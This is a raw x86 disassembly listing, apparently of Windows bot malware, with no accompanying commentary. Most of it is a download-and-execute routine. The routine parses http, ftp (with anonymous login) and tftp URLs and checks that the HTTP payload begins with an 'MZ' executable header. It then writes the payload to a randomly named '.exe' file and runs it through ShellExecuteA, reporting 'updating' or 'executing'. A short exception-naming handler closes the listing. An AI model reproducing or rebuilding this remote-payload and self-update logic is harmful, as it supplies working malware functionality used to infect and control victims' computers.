		cmp	[ebp+var_420], 0FFFFFFFFh
		jnz	short loc_402758


loc_402745:				; CODE XREF: sub_402698+A2j
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_402758:				; CODE XREF: sub_402698+ABj
		push	offset asc_4183EC ; "\r\n\r\n"
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_410], eax
		cmp	[ebp+var_410], 0
		jnz	short loc_40278D
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_40278D:				; CODE XREF: sub_402698+E0j
		mov	eax, [ebp+var_410]
		add	eax, 4
		mov	[ebp+var_410], eax
		push	offset aContentLength ;	"Content-Length: "
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_40C], eax
		cmp	[ebp+var_40C], 0
		jz	short loc_4027CC
		mov	eax, [ebp+var_40C]
		cmp	eax, [ebp+var_410]
		jbe	short loc_4027DF


loc_4027CC:				; CODE XREF: sub_402698+124j
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_4027DF:				; CODE XREF: sub_402698+132j
		and	[ebp+var_41C], 0
		lea	eax, [ebp+var_41C]
		push	eax
		push	offset aContentLengthU ; "Content-Length: %u\r\n"
		push	[ebp+var_40C]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		mov	[ebp+var_408], eax
		cmp	[ebp+var_408], 1
		jnz	short loc_402818
		cmp	[ebp+var_41C], 0
		jnz	short loc_40282B


loc_402818:				; CODE XREF: sub_402698+175j
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_40282B:				; CODE XREF: sub_402698+17Ej
		cmp	[ebp+arg_1C], 0
		jz	short loc_40285D
		cmp	[ebp+var_41C], 2
		jb	short loc_40284A
		mov	eax, [ebp+var_410]
		movzx	eax, word ptr [eax]
		cmp	eax, 5A4Dh
		jz	short loc_40285D


loc_40284A:				; CODE XREF: sub_402698+1A0j
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_40285D:				; CODE XREF: sub_402698+197j
					; sub_402698+1B0j
		cmp	[ebp+arg_18], 0
		jz	short loc_40286E
		mov	eax, [ebp+arg_18]
		mov	ecx, [ebp+var_41C]
		mov	[eax], ecx


loc_40286E:				; CODE XREF: sub_402698+1C9j
		push	[ebp+arg_14]
		call	sub_4167B9
		pop	ecx
		test	eax, eax
		jz	short loc_40288E
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_40288E:				; CODE XREF: sub_402698+1E1j
		push	offset dword_4182AC
		push	[ebp+arg_14]
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_418], eax
		cmp	[ebp+var_418], 0
		jnz	short loc_4028BF
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_4028BF:				; CODE XREF: sub_402698+212j
		push	[ebp+var_418]
		mov	eax, [ebp+var_410]
		lea	ecx, [ebp+var_404]
		sub	eax, ecx
		mov	ecx, [ebp+var_420]
		sub	ecx, eax
		push	ecx
		push	1
		push	[ebp+var_410]
		call	sub_416B7C	; fwrite
		add	esp, 10h
		mov	eax, [ebp+var_410]
		lea	ecx, [ebp+var_404]
		sub	eax, ecx
		mov	ecx, [ebp+var_420]
		sub	ecx, eax
		mov	eax, [ebp+var_41C]
		sub	eax, ecx
		mov	[ebp+var_41C], eax


loc_402910:				; CODE XREF: sub_402698:loc_402A1Dj
		cmp	[ebp+arg_20], 0
		jz	short loc_40293F
		mov	eax, [ebp+arg_20]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40293F
		push	[ebp+var_418]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		push	1
		pop	eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_40293F:				; CODE XREF: sub_402698+27Cj
					; sub_402698+285j
		push	2710h
		push	401h
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+var_414]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_420], eax
		cmp	[ebp+var_420], 0
		jz	short loc_402976
		cmp	[ebp+var_420], 0FFFFFFFFh
		jnz	short loc_40299E


loc_402976:				; CODE XREF: sub_402698+2D3j
		push	[ebp+var_418]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		push	[ebp+arg_14]
		call	ds:dword_4170AC	; DeleteFileA
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_40299E:				; CODE XREF: sub_402698+2DCj
		mov	eax, [ebp+var_420]
		cmp	eax, [ebp+var_41C]
		jbe	short loc_4029C8
		push	[ebp+var_418]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	short locret_402A22
; ---------------------------------------------------------------------------


loc_4029C8:				; CODE XREF: sub_402698+312j
		push	[ebp+var_418]
		push	[ebp+var_420]
		push	1
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B7C	; fwrite
		add	esp, 10h
		mov	eax, [ebp+var_41C]
		sub	eax, [ebp+var_420]
		mov	[ebp+var_41C], eax
		cmp	[ebp+var_41C], 0
		jnz	short loc_402A1D
		push	[ebp+var_418]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		push	1
		pop	eax
		jmp	short locret_402A22
; ---------------------------------------------------------------------------


loc_402A1D:				; CODE XREF: sub_402698+366j
		jmp	loc_402910
; ---------------------------------------------------------------------------

locret_402A22:				; CODE XREF: sub_402698+2Fj
					; sub_402698+BBj ...
		leave
		retn
sub_402698	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A24	proc near		; CODE XREF: sub_402A32+625p
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		pop	ebp
		retn
sub_402A24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A2B	proc near		; CODE XREF: sub_402A32+673p
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		pop	ebp
		retn
sub_402A2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A32	proc near		; DATA XREF: sub_403260+BCo

var_814		= qword	ptr -814h
var_804		= qword	ptr -804h
var_7FC		= dword	ptr -7FCh
var_7F8		= qword	ptr -7F8h
var_7F0		= dword	ptr -7F0h
var_7EC		= dword	ptr -7ECh
var_7E8		= dword	ptr -7E8h
var_7E4		= dword	ptr -7E4h
var_7E0		= dword	ptr -7E0h
var_7DC		= byte ptr -7DCh
var_6D5		= byte ptr -6D5h
var_6D4		= byte ptr -6D4h
var_6CC		= dword	ptr -6CCh
var_6C8		= dword	ptr -6C8h
var_6C4		= dword	ptr -6C4h
var_6C0		= dword	ptr -6C0h
var_6BC		= byte ptr -6BCh
var_6BB		= byte ptr -6BBh
var_63C		= dword	ptr -63Ch
var_638		= byte ptr -638h
var_637		= byte ptr -637h
var_632		= byte ptr -632h
var_631		= byte ptr -631h
var_534		= byte ptr -534h
var_430		= byte ptr -430h
var_2A8		= byte ptr -2A8h
var_2A7		= byte ptr -2A7h
var_2A6		= byte ptr -2A6h
var_2A3		= byte ptr -2A3h
var_296		= byte ptr -296h
var_28C		= dword	ptr -28Ch
var_288		= dword	ptr -288h
var_284		= byte ptr -284h
var_283		= byte ptr -283h
var_204		= byte ptr -204h
var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 804h
		push	edi
		push	3AFh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_63C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_638]
		push	eax
		lea	eax, [ebp+var_7DC]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		and	[ebp+var_288], 0
		mov	[ebp+var_28C], 1
		and	[ebp+var_6CC], 0
		mov	al, byte_41DE30
		mov	[ebp+var_284], al
		push	1Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_283]
		rep stosd
		stosw
		stosb
		mov	al, byte_41DE30
		mov	[ebp+var_6BC], al
		push	1Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_6BB]
		rep stosd
		stosw
		stosb
		and	[ebp+var_6C8], 0
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_7DC]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_4185CC
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		push	7
		push	offset aFile	; "file://"
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_402B93
		push	0
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_631]
		push	eax
		call	ds:dword_417060	; CopyFileA
		test	eax, eax
		jnz	short loc_402B8E
		call	ds:dword_417064	; RtlGetLastWin32Error
		cmp	eax, 20h
		jnz	short loc_402B58
		lea	eax, [ebp+var_534]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_41858C
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	short loc_402B7B
; ---------------------------------------------------------------------------


loc_402B58:				; CODE XREF: sub_402A32+FFj
		lea	eax, [ebp+var_631]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_41855C
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_402B7B:				; CODE XREF: sub_402A32+124j
		push	[ebp+var_63C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_40325B
; ---------------------------------------------------------------------------


loc_402B8E:				; CODE XREF: sub_402A32+F4j
		jmp	loc_403256
; ---------------------------------------------------------------------------


loc_402B93:				; CODE XREF: sub_402A32+D6j
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_6C0], eax
		jmp	short loc_402BB5
; ---------------------------------------------------------------------------


loc_402BA8:				; CODE XREF: sub_402A32:loc_402CD8j
		mov	eax, [ebp+var_6C0]
		dec	eax
		mov	[ebp+var_6C0], eax


loc_402BB5:				; CODE XREF: sub_402A32+174j
		cmp	[ebp+var_6C0], 0FFFFFFFFh
		jz	loc_402CDD
		mov	eax, [ebp+var_6C0]
		movsx	eax, [ebp+eax+var_638]
		cmp	eax, 3Ah
		jnz	loc_402CD8
		mov	[ebp+var_7E0], 1
		jmp	short loc_402BF2
; ---------------------------------------------------------------------------


loc_402BE5:				; CODE XREF: sub_402A32:loc_402CD3j
		mov	eax, [ebp+var_7E0]
		inc	eax
		mov	[ebp+var_7E0], eax


loc_402BF2:				; CODE XREF: sub_402A32+1B1j
		mov	eax, [ebp+var_6C0]
		add	eax, [ebp+var_7E0]
		movsx	eax, [ebp+eax+var_638]
		test	eax, eax
		jz	short loc_402C23
		mov	eax, [ebp+var_6C0]
		add	eax, [ebp+var_7E0]
		movsx	eax, [ebp+eax+var_638]
		cmp	eax, 2Fh
		jnz	short loc_402C7A


loc_402C23:				; CODE XREF: sub_402A32+1D6j
		mov	eax, [ebp+var_7E0]
		and	[ebp+eax+var_6D5], 0
		lea	eax, [ebp+var_6D4]
		push	eax
		call	sub_40422A
		pop	ecx
		test	eax, eax
		jz	short loc_402C75
		mov	eax, [ebp+var_6C0]
		lea	eax, [ebp+eax+var_638]
		add	eax, [ebp+var_7E0]
		push	eax
		mov	eax, [ebp+var_6C0]
		lea	eax, [ebp+eax+var_638]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		mov	[ebp+var_6C8], 1


loc_402C75:				; CODE XREF: sub_402A32+20Ej
		jmp	loc_403251
; ---------------------------------------------------------------------------


loc_402C7A:				; CODE XREF: sub_402A32+1EFj
		mov	eax, [ebp+var_6C0]
		add	eax, [ebp+var_7E0]
		movsx	eax, [ebp+eax+var_638]
		cmp	eax, 30h
		jl	short loc_402CCE
		mov	eax, [ebp+var_6C0]
		add	eax, [ebp+var_7E0]
		movsx	eax, [ebp+eax+var_638]
		cmp	eax, 39h
		jg	short loc_402CCE
		mov	eax, [ebp+var_6C0]
		add	eax, [ebp+var_7E0]
		mov	ecx, [ebp+var_7E0]
		mov	al, [ebp+eax+var_638]
		mov	[ebp+ecx+var_6D5], al
		jmp	short loc_402CD3
; ---------------------------------------------------------------------------


loc_402CCE:				; CODE XREF: sub_402A32+25Fj
					; sub_402A32+278j
		jmp	loc_40324C
; ---------------------------------------------------------------------------


loc_402CD3:				; CODE XREF: sub_402A32+29Aj
		jmp	loc_402BE5
; ---------------------------------------------------------------------------


loc_402CD8:				; CODE XREF: sub_402A32+1A1j
		jmp	loc_402BA8
; ---------------------------------------------------------------------------


loc_402CDD:				; CODE XREF: sub_402A32+18Aj
					; sub_402A32:loc_40324Cj ...
		push	7
		push	offset aHttp	; "http://"
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_402D37
		cmp	[ebp+var_6C8], 0
		jnz	short loc_402D13
		push	offset a80	; "80"
		lea	eax, [ebp+var_6D4]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_402D13:				; CODE XREF: sub_402A32+2CCj
		lea	eax, [ebp+var_631]
		push	eax
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		mov	[ebp+var_6CC], 1
		jmp	loc_402E3D
; ---------------------------------------------------------------------------


loc_402D37:				; CODE XREF: sub_402A32+2C3j
		push	6
		push	offset aFtp	; "ftp://"
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_402DB7
		cmp	[ebp+var_6C8], 0
		jnz	short loc_402D6D
		push	offset a21	; "21"
		lea	eax, [ebp+var_6D4]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_402D6D:				; CODE XREF: sub_402A32+326j
		lea	eax, [ebp+var_632]
		push	eax
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		mov	[ebp+var_6CC], 2
		push	offset aAnonymous ; "anonymous"
		lea	eax, [ebp+var_284]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		push	offset aAnonymous ; "anonymous"
		lea	eax, [ebp+var_6BC]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	loc_402E3D
; ---------------------------------------------------------------------------


loc_402DB7:				; CODE XREF: sub_402A32+31Dj
		push	7
		push	offset aTftp	; "tftp://"
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_402E0E
		cmp	[ebp+var_6C8], 0
		jnz	short loc_402DED
		push	offset a69	; "69"
		lea	eax, [ebp+var_6D4]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_402DED:				; CODE XREF: sub_402A32+3A6j
		lea	eax, [ebp+var_631]
		push	eax
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		mov	[ebp+var_6CC], 3
		jmp	short loc_402E3D
; ---------------------------------------------------------------------------


loc_402E0E:				; CODE XREF: sub_402A32+39Dj
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset unk_418500
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_63C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_40325B
; ---------------------------------------------------------------------------


loc_402E3D:				; CODE XREF: sub_402A32+300j
					; sub_402A32+380j ...
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_6C0], eax
		jmp	short loc_402E5F
; ---------------------------------------------------------------------------


loc_402E52:				; CODE XREF: sub_402A32:loc_402F11j
		mov	eax, [ebp+var_6C0]
		dec	eax
		mov	[ebp+var_6C0], eax


loc_402E5F:				; CODE XREF: sub_402A32+41Ej
		cmp	[ebp+var_6C0], 0FFFFFFFFh
		jz	loc_402F16
		mov	eax, [ebp+var_6C0]
		movsx	eax, [ebp+eax+var_638]
		cmp	eax, 40h
		jnz	loc_402F11
		mov	eax, [ebp+var_6C0]
		and	[ebp+eax+var_638], 0
		push	offset asc_4184FC ; ":"
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_7E4], eax
		cmp	[ebp+var_7E4], 0
		jz	short loc_402ED8
		mov	eax, [ebp+var_7E4]
		and	byte ptr [eax],	0
		push	80h
		mov	eax, [ebp+var_7E4]
		inc	eax
		push	eax
		lea	eax, [ebp+var_6BC]
		push	eax
		call	sub_407A56
		add	esp, 0Ch


loc_402ED8:				; CODE XREF: sub_402A32+47Fj
		push	80h
		lea	eax, [ebp+var_638]
		push	eax
		lea	eax, [ebp+var_284]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+var_6C0]
		lea	eax, [ebp+eax+var_637]
		push	eax
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_402F16
; ---------------------------------------------------------------------------


loc_402F11:				; CODE XREF: sub_402A32+44Bj
		jmp	loc_402E52
; ---------------------------------------------------------------------------


loc_402F16:				; CODE XREF: sub_402A32+434j
					; sub_402A32+4DDj
		push	offset asc_4184F8 ; "/"
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_288], eax
		cmp	[ebp+var_288], 0
		jnz	short loc_402F67
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset unk_4184CC
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_63C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_40325B
; ---------------------------------------------------------------------------


loc_402F67:				; CODE XREF: sub_402A32+504j
		mov	eax, [ebp+var_288]
		inc	eax
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_288]
		and	byte ptr [eax],	0
		lea	eax, [ebp+var_638]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		call	sub_416B64	; clock
		mov	[ebp-6D8h], eax
		and	[ebp+var_6C4], 0
		cmp	[ebp+var_6CC], 1
		jnz	short loc_403009
		push	[ebp+var_63C]
		movsx	eax, [ebp+var_2A8]
		neg	eax
		sbb	eax, eax
		neg	eax
		push	eax
		lea	eax, [ebp+var_6C4]
		push	eax
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_6D4]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_6BC]
		push	eax
		lea	eax, [ebp+var_284]
		push	eax
		call	sub_402698
		add	esp, 24h
		mov	[ebp+var_28C], eax


loc_403009:				; CODE XREF: sub_402A32+582j
		cmp	[ebp+var_6CC], 2
		jnz	short loc_403065
		push	[ebp+var_63C]
		movsx	eax, [ebp+var_2A8]
		neg	eax
		sbb	eax, eax
		neg	eax
		push	eax
		lea	eax, [ebp+var_6C4]
		push	eax
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_6D4]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_6BC]
		push	eax
		lea	eax, [ebp+var_284]
		push	eax
		call	sub_402A24
		add	esp, 24h
		mov	[ebp+var_28C], eax


loc_403065:				; CODE XREF: sub_402A32+5DEj
		cmp	[ebp+var_6CC], 3
		jnz	short loc_4030B3
		push	[ebp+var_63C]
		movsx	eax, [ebp+var_2A8]
		neg	eax
		sbb	eax, eax
		neg	eax
		push	eax
		lea	eax, [ebp+var_6C4]
		push	eax
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_6D4]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_402A2B
		add	esp, 1Ch
		mov	[ebp+var_28C], eax


loc_4030B3:				; CODE XREF: sub_402A32+63Aj
					; sub_402A32:loc_403256j
		cmp	[ebp+var_28C], 1
		jnz	loc_403219
		movsx	eax, [ebp+var_296]
		test	eax, eax
		jz	short loc_4030D7
		mov	[ebp+var_7EC], offset aUpdating	; ", updating"
		jmp	short loc_403104
; ---------------------------------------------------------------------------


loc_4030D7:				; CODE XREF: sub_402A32+697j
		movsx	eax, [ebp+var_2A6]
		test	eax, eax
		jz	short loc_4030EE
		mov	[ebp+var_7F0], offset aExecuting ; ", executing"
		jmp	short loc_4030F8
; ---------------------------------------------------------------------------


loc_4030EE:				; CODE XREF: sub_402A32+6AEj
		mov	[ebp+var_7F0], offset byte_41DE30


loc_4030F8:				; CODE XREF: sub_402A32+6BAj
		mov	eax, [ebp+var_7F0]
		mov	[ebp+var_7EC], eax


loc_403104:				; CODE XREF: sub_402A32+6A3j
		push	[ebp+var_7EC]
		mov	eax, [ebp+var_6C4]
		shr	eax, 0Ah
		mov	dword ptr [ebp+var_7F8], eax
		and	dword ptr [ebp+var_7F8+4], 0
		fild	[ebp+var_7F8]
		fstp	[ebp+var_7FC]
		call	sub_416B64	; clock
		sub	eax, [ebp-6D8h]
		mov	dword ptr [ebp+var_804], eax
		and	dword ptr [ebp+var_804+4], 0
		fild	[ebp+var_804]
		fdiv	ds:flt_417270
		fdivr	[ebp+var_7FC]
		push	ecx
		push	ecx
		fstp	[esp+814h+var_814]
		lea	eax, [ebp+var_534]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_41846C
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		movsx	eax, [ebp+var_2A7]
		test	eax, eax
		jz	short loc_403198
		lea	eax, [ebp+var_534]
		push	eax
		call	ds:dword_4170AC	; DeleteFileA
		jmp	short loc_403217
; ---------------------------------------------------------------------------


loc_403198:				; CODE XREF: sub_402A32+755j
		movsx	eax, [ebp+var_2A6]
		test	eax, eax
		jnz	short loc_4031AE
		movsx	eax, [ebp+var_296]
		test	eax, eax
		jz	short loc_403217


loc_4031AE:				; CODE XREF: sub_402A32+76Fj
		movsx	eax, [ebp+var_2A3]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_534]
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	ds:dword_4171D0	; ShellExecuteA
		mov	[ebp+var_7E8], eax
		cmp	[ebp+var_7E8], 20h
		jbe	short loc_4031F4
		movsx	eax, [ebp+var_296]
		test	eax, eax
		jz	short loc_4031F2
		call	sub_407148


loc_4031F2:				; CODE XREF: sub_402A32+7B9j
		jmp	short loc_403217
; ---------------------------------------------------------------------------


loc_4031F4:				; CODE XREF: sub_402A32+7AEj
		lea	eax, [ebp+var_534]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_418444
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_403217:				; CODE XREF: sub_402A32+764j
					; sub_402A32+77Aj ...
		jmp	short loc_40323C
; ---------------------------------------------------------------------------


loc_403219:				; CODE XREF: sub_402A32+688j
		lea	eax, [ebp+var_7DC]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_418414
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_40323C:				; CODE XREF: sub_402A32:loc_403217j
		push	[ebp+var_63C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short loc_40325B
; ---------------------------------------------------------------------------


loc_40324C:				; CODE XREF: sub_402A32:loc_402CCEj
		jmp	loc_402CDD
; ---------------------------------------------------------------------------


loc_403251:				; CODE XREF: sub_402A32:loc_402C75j
		jmp	loc_402CDD
; ---------------------------------------------------------------------------


loc_403256:				; CODE XREF: sub_402A32:loc_402B8Ej
		jmp	loc_4030B3
; ---------------------------------------------------------------------------


loc_40325B:				; CODE XREF: sub_402A32+157j
					; sub_402A32+406j ...
		pop	edi
		leave
		retn	4
sub_402A32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403260	proc near		; CODE XREF: sub_40A9CF+959p

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		cmp	[ebp+arg_4], 0
		jnz	short loc_403271
		jmp	locret_403329
; ---------------------------------------------------------------------------


loc_403271:				; CODE XREF: sub_403260+Aj
		push	3AFh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_40328A
		jmp	locret_403329
; ---------------------------------------------------------------------------


loc_40328A:				; CODE XREF: sub_403260+23j
		push	8
		push	7Ah
		push	61h
		push	4
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_410501
		add	esp, 14h
		and	[ebp+eax+var_10], 0
		push	offset a_exe	; ".exe"
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_8], 0
		jnz	short loc_4032BF
		lea	eax, [ebp+var_10]
		mov	[ebp+arg_8], eax


loc_4032BF:				; CODE XREF: sub_403260+57j
		push	104h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_14]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	104h
		push	[ebp+arg_8]
		mov	eax, [ebp+var_14]
		add	eax, 108h
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_14]
		add	eax, 20Ch
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_14]
		add	eax, 108h
		push	eax
		mov	eax, [ebp+var_14]
		add	eax, 4
		push	eax
		push	offset dword_4185FC
		push	0
		push	[ebp+var_14]
		push	offset sub_402A32
		call	sub_4095A4
		add	esp, 18h

locret_403329:				; CODE XREF: sub_403260+Cj
					; sub_403260+25j
		leave
		retn
sub_403260	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40332B	proc near		; CODE XREF: sub_4093B6+A0p
					; sub_4094E6+9Bp ...

var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 114h
		push	1
		push	offset dword_41DE3C
		call	sub_409C88
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	dword_41DE38, 0
		jz	loc_4034D9
		mov	[ebp+var_8], offset aException_othe ; "EXCEPTION_OTHER"
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_110], eax
		cmp	[ebp+var_110], 0C0000025h
		ja	short loc_4033A4
		cmp	[ebp+var_110], 0C0000025h
		jz	short loc_4033FA
		cmp	[ebp+var_110], 80000003h
		jz	short loc_4033DF
		cmp	[ebp+var_110], 0C0000005h
		jz	short loc_4033D6
		cmp	[ebp+var_110], 0C000001Dh
		jz	short loc_4033E8
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_4033A4:				; CODE XREF: sub_40332B+45j
		cmp	[ebp+var_110], 0C000008Dh
		jb	short loc_403413
		cmp	[ebp+var_110], 0C0000093h
		jbe	short loc_40340C
		cmp	[ebp+var_110], 0C0000094h
		jz	short loc_4033F1
		cmp	[ebp+var_110], 0C00000FDh
		jz	short loc_403403
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_4033D6:				; CODE XREF: sub_40332B+69j
		mov	[ebp+var_8], offset aException_acce ; "EXCEPTION_ACCESS_VIOLATION"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_4033DF:				; CODE XREF: sub_40332B+5Dj
		mov	[ebp+var_8], offset aException_brea ; "EXCEPTION_BREAKPOINT"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_4033E8:				; CODE XREF: sub_40332B+75j
		mov	[ebp+var_8], offset aException_ille ; "EXCEPTION_ILLEGAL_INSTRUCTION"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


